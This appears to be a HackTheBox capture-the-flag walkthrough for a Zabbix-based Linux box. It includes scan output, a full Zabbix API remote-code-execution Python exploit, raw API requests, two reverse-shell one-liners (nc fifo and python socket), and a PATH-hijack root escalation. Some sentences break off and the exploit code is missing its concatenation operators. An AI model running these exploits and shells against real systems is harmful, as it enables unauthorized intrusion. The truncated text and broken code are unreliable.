- HackTheBox Dificulty Rating 52%
OS:
Linux
Points:
40
Release date:
2o Oct 2018
This was a pretty cool box, even if I had a bit of a problem when trying to get a stable reverse shell that made me leave the box alone for a few months until coming back to it and cursing myself for not trying something other than netcat or bash.
Anyway, for the user part this box starts with a discovery of a service, a little guesswork on the password of a user, followed by some tweaking of an exploit based on what you find is happening with the underlying service. After
The root part is fairly straightforward. You manage it by using the PATH variable.
Let’s get to it.
User
We start by doing a
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-05 23:40 EET
Nmap scan report for 10.10.10.108
Host is up (0.086s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
| 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=11/5%OT=22%CT=1%CU=32236%PV=Y%DS=2%DC=I%G=Y%TM=5BE0B90
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=2%ISR=108%TI=Z%CI=I%TS=A)SEQ(SP=1
OS:03%GCD=1%ISR=108%TI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT1
OS:1NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=71
OS:20%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=
OS:)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W
OS:=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
OS:T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUC
OS:K=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at
Nmap
nc -v 10.10.10.108 10050
10.10.10.108: inverse host lookup failed: Unknown host
(UNKNOWN) [10.10.10.108] 10050 (zabbix-agent) open
We see that port 80 is open and it has a default Apache page. We spin up
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.108/
[+] Threads : 100
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2018/11/05 23:46:04 Starting gobuster
=====================================================
/zabbix (Status: 301)
=====================================================
2018/11/05 23:47:42 Finished
=====================================================
Following the /
It seems to be a custom script made by someone named Zapper. Let’s try to login using that username with some default passwords. Going along the lines of the recurring theme of HTB that lazy users don’t secure their accounts, zapper zapper works… but what’s this?
Let’s see what’s going on behind the scenes
It seems the service accepts us as a valid user and assigns us an auth token but denies access to the GUI interface. After a bit of searching I found and exploit that seems to be perfect for our purpose:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: Zabbix RCE with API JSON-RPC
# Date: 06-06-2016
# Exploit Author: Alexander Gurin
# Vendor Homepage: http://www.zabbix.com
# Software Link: http://www.zabbix.com/download.php
# Version: 2.2 - 3.0.3
# Tested on: Linux (Debian, CentOS)
# CVE : N/A
import requests
import json
import readline
ZABIX_ROOT = 'http://192.168.66.2' ### Zabbix IP-address
url = ZABIX_ROOT '/api_jsonrpc.php' ### Don't edit
login = 'Admin' ### Zabbix login
password = 'zabbix' ### Zabbix password
hostid = '10084' ### Zabbix hostid
### auth
payload = {
"jsonrpc" : "2.0",
"method" : "user.login",
"params": {
'user': "" login "",
'password': "" password "",
},
"auth" : None,
"id" : 0,
}
headers = {
'content-type': 'application/json',
}
auth = requests.post(url, data=json.dumps(payload), headers=(headers))
auth = auth.json()
while True:
cmd = raw_input('[41m[zabbix_cmd]>>: [0m ')
if cmd == "" : print "Result of last command:"
if cmd == "quit" : break
### update
payload = {
"jsonrpc": "2.0",
"method": "script.update",
"params": {
"scriptid": "1",
"command": "" cmd ""
},
"auth" : auth['result'],
"id" : 0,
}
cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))
### execute
payload = {
"jsonrpc": "2.0",
"method": "script.execute",
"params": {
"scriptid": "1",
"hostid": "" hostid ""
},
"auth" : auth['result'],
"id" : 0,
}
cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
cmd_exe = cmd_exe.json()
print cmd_exe["result"]["value"]
It seems to take in as variables the IP address and the same API
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
We do this because the –e option in this
This is the time when we need to go back to the beginning and see what’s going on. First of all, let’s enable GUI access so we can have a better picture of how things work. To do this, let’s create another user that has the GUI interface active. First of all, let’s get a list of users using the user
It seems that Administrator and
Yes
A few more documentation pages later and we come over the
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.10.108
Content-Type: application/json-rpc
Content-Length: 295
{“jsonrpc”:”2.0″,”method”:”user.create”,”params”:{“alias”:”jondow”,”passwd”:”123456789″,”usrgrps”:[{“usrgrpid”:”7″}],”user_medias”:[{“mediatypeid”:”1″,”sendto”:”support@company.com”,”active”:0,”severity”:63,”period”:”1-7,00:00-24:00″}],”type”:3},”auth”:”bc88a8973761ae11a92dd8dee3e1855b”,”id”:1}
So after poking around I found out that there are two boxes tied to the service. One agent and one server. After A LOT more reading the documentation I found that I could make choose which box to call by adding the execute_on key with the value of 0 (to force execution on the agent and not the server) after the command in the JSON request when updating a script.
So the request should look something like this:
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.10.108
Content-Type: application/json-rpc
Content-Length: 154
{“jsonrpc”:”2.0″,”method”:”script.update”,”params”:{“scriptid”:1,”command”:”ls -al /tmp”,”execute_on”:0},”id”:6,”auth”:”c0e87daf878135ebe09b12ec627e648a”}
Now we can modify our python exploit with this new option and have code execution on the host.
This is the part that made me leave the box for a few months because when trying to get a reverse shell back, it would die after 5 seconds. I tried detaching the execution thinking that maybe the Zabbix script closes after the command runs. I even tried to make a bind shell with the same results. It seems that it had a problem with
python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
After getting a stable reverse shell and enumerating, I come across a file in /home/zapper/utils/backup.sh that seems to archive the contents to another file. The important thing to note here is the password: ZippityDoDah
Keeping in mind that the users of this server are bad at securing stuff, let’s try to switch to the zapper user using this password.
Success! Now we can read the user.txt flag and, for a more easy and comfortable way of access, we can copy the id_rsa file and ssh directly.
Root
Root is pretty straightforward. We immediately see a SUID executable. My first thought is buffer overflow so I check if ASLR is enabled by doing
This means ASLR is enabled. Next thing I do is get it to my host and checking it’s security from gdb-peda using the checksec option. NX means it has DEP enabled so we cannot execute shellcode from within the executable. At this point we can probably rule out the buffer overflow idea.
While inspecting the executable with strings I noted that it called
This means that if the executable is running as root and it calls a function without the full path specified, that path is under our control. Meaning that we simply need to create a
#!/bin/bash
/bin/bash
Set it to execute with:
Chmod 777
Then export the PATH so that when the root binary calls
PATH=/home/zapper/utils:$PATH
And then simply run the executable and do either start or stop when prompted (both options execute our fake